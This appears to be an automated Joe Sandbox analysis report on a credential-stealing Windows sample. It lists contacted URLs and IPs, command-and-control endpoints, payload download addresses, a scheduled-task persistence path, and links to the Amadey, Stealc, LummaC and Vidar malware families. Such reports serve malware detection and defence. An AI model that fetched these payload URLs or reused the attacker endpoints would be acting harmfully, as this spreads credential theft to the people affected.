http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
http://185.156.72.65/dll/download	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
185.215.113.206/c4becf79229cb002.php	false		high
http://185.156.72.65/dll/key	true	Avira URL Cloud: safe	unknown
https://c.msn.com/c.gif?rnd=1732728792496&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=221ec520250b43099d1fa8eff7ffc145&activityId=221ec520250b43099d1fa8eff7ffc145&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false		high
http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosub	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732728800372&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false		high
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
http://185.156.72.65/files/download	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/6122658-3693405117-2476756634-1003	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp, CFCFHJDBKJKEBFHJEHII.1.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	false		high
http://185.156.72.65/dll/downloadn9	unik.exe, 00000022.00000002.2557001489.00000000053B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://ntp.msn.com/_default	QuotaManager.15.dr	false		high
http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosubl	unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.last.fm/	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
http://185.215.113.16/0ac02b4ded8abeee1fbd97e9c4543b31de15441#	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.15.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.15.dr	false		high
http://185.215.113.16/luma/random.exerlencodeda	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://curl.se/docs/hsts.html	d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.instagram.com	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
http://185.215.113.206dF;	file.exe, 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
http://185.215.113.16/luma/random.exe009636001	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exedv	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exedp	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://www.messenger.com	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
http://185.156.72.65/files/downloadt	unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp, unik.exe, 00000022.00000002.2547900697.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.office.com/mail/compose?isExtension=true	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://i.y.qq.com/n2/m/index.html	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	false		high
https://www.deezer.com/	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://web.telegram.org/	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000001.00000002.1851485927.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	false		high
http://185.156.72.65/dll/keyY	unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737	d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://vibe.naver.com/today	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/	file.exe, 00000001.00000002.1846346705.000000002385D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php0	file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.000000002385D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com	d6cd01c3-3d63-48d1-80b7-bed7f7a23ac9.tmp.16.dr	false		high
https://curl.se/docs/alt-svc.html	d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.156.72.65/files/downloadX	unik.exe, 00000022.00000002.2547900697.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	KEBKJDBA.1.dr	false		high
https://excel.new?from=EdgeM365Shoreline	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	false		high
http://185.156.72.65/files/downloadR	unik.exe, 00000022.00000002.2547900697.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/ipbefore	d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.google.com/chrome	content.js.15.dr	false		high
https://www.tiktok.com/	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
http://185.215.113.16/luma/random.exehpe	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.15.dr	false		high
http://185.215.113.16/luma/random.exe3	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chromewebstore.google.com/	manifest.json.15.dr	false		high
http://185.156.72.65/files/download65/files/download	unik.exe, 00000022.00000002.2547900697.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exeEv(	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe1	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp, CFCFHJDBKJKEBFHJEHII.1.dr	false		high
http://185.215.113.16/luma/random.exelencoded	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.15.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosubsVF:	unik.exe, 00000022.00000002.2547900697.0000000000C05000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe	skotes.exe, 00000020.00000002.2547808242.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://chrome.google.com/webstore/	manifest.json.15.dr	false		high
https://y.music.163.com/m/	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://bard.google.com/	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.15.dr	false		high
http://html4/loose.dtd	d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://web.whatsapp.com	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://m.kugou.com/	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://outlook.live.com/mail/0/	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.15.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.15.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.138.106.4	unknown	United States	16509	AMAZON-02US	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
104.117.182.65	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
13.91.96.185	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.213.123.165	httpbin.org	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.156.72.65	unknown	Russian Federation	44636	ITDELUXE-ASRU	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.44.203.14	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.161.69.117	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
104.208.16.90	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.9.158	b-0005.b-dc-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
142.250.203.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
23.44.203.70	unknown	United States	20940	AKAMAI-ASN1EU	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
192.168.2.9
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563927
Start date and time:	2024-11-27 16:33:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/304@26/29
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 74.125.205.84, 172.217.19.238, 34.104.35.123, 2.22.50.144, 172.217.21.35, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.42.16, 172.165.69.228, 2.16.10.175, 2.16.10.182, 2.16.158.82, 2.16.158.97, 2.16.158.179, 2.16.158.170, 2.16.158.81, 2.16.158.91, 2.16.158.169, 2.16.158.72, 2.16.158.96, 184.24.77.155, 184.24.77.156, 2.16.158.184, 2.16.158.35, 2.16.158.26, 2.16.158.185, 2.16.158.187, 23.207.210.154, 23.207.210.153, 23.207.210.156, 23.207.210.137, 13.87.96.169, 2.16.158.27, 13.107.21.237, 204.79.197.237, 13.74.129.1, 131.253.33.203, 2.16.10.164, 2.16.10.178, 2.16.158.75, 2.16.158.80, 2.16.158.59, 2.16.158.88, 2.16.158.73, 84.201.208.99, 142.250.80.99, 142.250.65.227, 142.250.65.163
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-
Execution Graph export aborted for target DocumentsBGDBAKFCFH.exe, PID 9048 because it is empty
Execution Graph export aborted for target file.exe, PID 2708 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 2276 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8620 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:33:02	API Interceptor	172x Sleep call for process: file.exe modified
12:34:03	API Interceptor	306x Sleep call for process: skotes.exe modified
18:33:29	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	valid.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	172.64.41.3
	http://img1.wsimg.com/blobby/go/fae029f6-27b1-4578-94bc-ae0bbaeebde4/downloads/buluxanitoteras.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
home.twentykm20sr.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.118.84.150
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.118.84.150
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	213.171.8.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	213.171.8.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	213.171.8.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	213.171.8.162
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	213.171.8.162
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.118.89.252
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.118.89.252
	file.exe	Get hash	malicious	Cryptbot	Browse	34.118.89.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://multikultural.az/web/v2/index.php?query=bWVubmVuQHNlbmlvcnNvbHV0aW9uc3Z0Lm9yZw==	Get hash	malicious	Unknown	Browse	108.158.75.127
	https://xl.guggisberg.ar	Get hash	malicious	Unknown	Browse	76.76.21.21
	http://secureverificationbooking.com/p/680450950	Get hash	malicious	Unknown	Browse	18.245.60.105
	https://application-submit.com/form/redbull	Get hash	malicious	Unknown	Browse	52.38.173.188
	https://application-submit.com/form/redbull	Get hash	malicious	Unknown	Browse	52.38.173.188
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	3.171.139.3
	https://getgreenshot.org	Get hash	malicious	Unknown	Browse	185.166.143.50
	https://www.anrdoezrs.net/links/7179331/type/dlg/https:/online.complexes1.click/modifications.html?pack=ZXhhbXBsZUBlbWFpbC5jb20=	Get hash	malicious	Unknown	Browse	44.239.24.110
	http://workinginpartnership-johnlewis.com/	Get hash	malicious	Unknown	Browse	54.228.208.0
	hidakibest.arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	54.171.230.55
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse	40.126.31.69
	https://multikultural.az/web/v2/index.php?query=bWVubmVuQHNlbmlvcnNvbHV0aW9uc3Z0Lm9yZw==	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	Document Review for Recent Transaction - Signature requested by Xiomara Baldwin Support Team.eml	Get hash	malicious	Lure-BasedAttack	Browse	20.189.173.4
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	https://getgreenshot.org	Get hash	malicious	Unknown	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
